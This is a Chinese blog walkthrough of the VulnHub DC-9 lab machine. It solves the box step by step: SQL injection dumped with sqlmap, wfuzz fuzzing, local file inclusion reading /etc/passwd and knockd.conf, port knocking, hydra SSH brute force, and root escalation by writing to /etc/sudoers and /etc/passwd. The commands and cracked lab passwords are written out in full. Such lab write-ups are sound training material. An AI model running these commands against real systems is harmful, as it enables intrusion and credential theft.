【vulnhub】靶机- [DC系列]DC9(附靶机))

本文详细记录了一次网络安全渗透测试的过程,从发现主机IP,利用ARP扫描和nmap进行主机探测,到发现SQL注入漏洞并利用SQLmap获取敏感信息。接着,通过WFuzz进行LFI漏洞探测,利用knockd实现SSH访问权限。最终,通过密码爆破和文件内容分析,获得了不同用户的SSH登录凭证,并成功进行权限提升。整个过程展示了网络安全攻防的实战技巧和思路。
摘要由CSDN通过智能技术生成

主机信息

Kali:192.168.56.113

DC9:192.168.56.112

实验过程

先进行主机探测,查找靶机的IP地址:

arp-scan --interface eth1 192.168.56.1/24

图片

用nmap对主机进行排查确定,DC9的IP地址为192.168.56.112

可以看到DC开放了80端口以及22端口(被过滤)

nmap -sC -sV -oA dc-9 192.168.56.112

图片

所以,首先从80端口入手,每个网页都点开看看。看到这个搜索页面感觉可以尝试下SQL注入

图片

这里我们用Burp进行尝试,发现的确存在注入点

图片

把请求信息导出为dc9.sqlmap,接下来用SQLmap进行遍历

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap

图片

然后接下来用sqlmap导出数据

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users --tables
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users -T UserDetails --columns
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C username,password --dump

图片

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump

图片

这里SQLmap直接帮我得到admin的密码明文(transorbital1)

管理员账号:admin管理员密码:transorbital1

附在线破解网站:https://hashes.com/en/decrypt/hash

我们将所有的账号,密码进行整理,分别整理到usename,password(这里需要注意的是,只要管理员的密码是需要解密的,其他用户的密码是明文)

图片

用wfuzz进行批量登录查看页面反应,只有管理员的账号是302(ps: 意料之中)

-c:带颜色输出  -d:post参数  -z:payload -m:模式  zip迭代  字典和占位符一一对应进行遍历

wfuzz -c -z file,username -z file,password -m zip -d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php

图片

然后我们用管理账号进行登录

图片

可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含)

但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登录之后的cookies也要写上,否则网页会提示你要登录)

查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行查看

#-p:添加代理
wfuzz -p 127.0.0.1:8080:HTTP

字典地址:http://github.com/danielmiessler/SecLists

-b:cookies -hw:隐藏指定字节数的结果  -w字典文件
wfuzz --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=index.php

wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd

图片

这里我们就找到参数file

图片

然后我们通过**/proc/sched_debug** 来查看Linux系统中任务的调度情况

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../../../proc/sched_debug

图片

整理查询发现靶机上运行这knockd

关于knockd的介绍:https://blog.csdn.net/nzjdsds/article/details/112476120

图片

那么我们读取下knocked的配置文件:

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf

图片

options]
    UseSyslog
[openSSH]
    sequence = 7469,8475,9842
    seq_timeout = 25
    command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn
[closeSSH]
    sequence = 9842,8475,7469
    seq_timeout = 25
    command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

这里提供2种敲击方法:nc、nmap

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done

图片

此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的

hydra -L username -P password ssh://192.168.56.112 

图片

 

[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

然后我们对这几个账号都尝试进行登录

ssh janitor@192.168.56.112

图片

只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码

图片

我们把这些密码加入到password文件中

同时我们在janitor使用LinPEAS来探测下可利用的点

下载地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

现在Kali上开启HTTP服务

python3 -m http.server 80

图片

然后在靶机上进行下载

wget http://192.168.56.114/Linpeas.sh

图片

然后运行之后,感觉并没有什么特别的点

bash linpeas.sh

图片

再使用hydra使用刚刚更新过的password文件进行SSH爆破,可以看到多了一个fredf用户

图片

[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 [22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

 

然后登陆到fredf账号,查看下fredf的sudo权限,可以看到fredf可以不用密码以root权限执行 /opt/devstuff/dist/test/test的文件

 

sudo ‐l

图片

/opt/devstuff/dist/test/test是一个可执行文件,执行后出现下面的提示,应该是一个python脚本转化为的可执行的文件

图片

可以在上级目录找到同名的 test.py 然后cat下内容,应该是由这个文件编译过来的

脚本的作用就是将第一个文件的内容附加到另一个文件里面去

图片

这样提权就变得非常简单,这里提供2个提权的思路

提权思路1:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命令

创建/dev/shm/sudoerAdd,内容如下:

joeyt ALL=(ALL) ALL

然后执行

 

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers

图片

然后登陆joeyt,然后切换成root身份,get flag

提权思路2:添加一个新的用户到/etc/passwd,然后新添加的用户登陆

这里用Openssl来对密码进行加密,在进行编辑输入到/tmp/new-passwd

 

openssl passwd ‐1 ‐salt 123456 dfz

 

dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash

图片

然后把/tmp/new-passwd写入到/etc/passwd

 

sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd

图片

 

靶机下载地址:http://www.five86.com/downloads/DC-9.zip

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值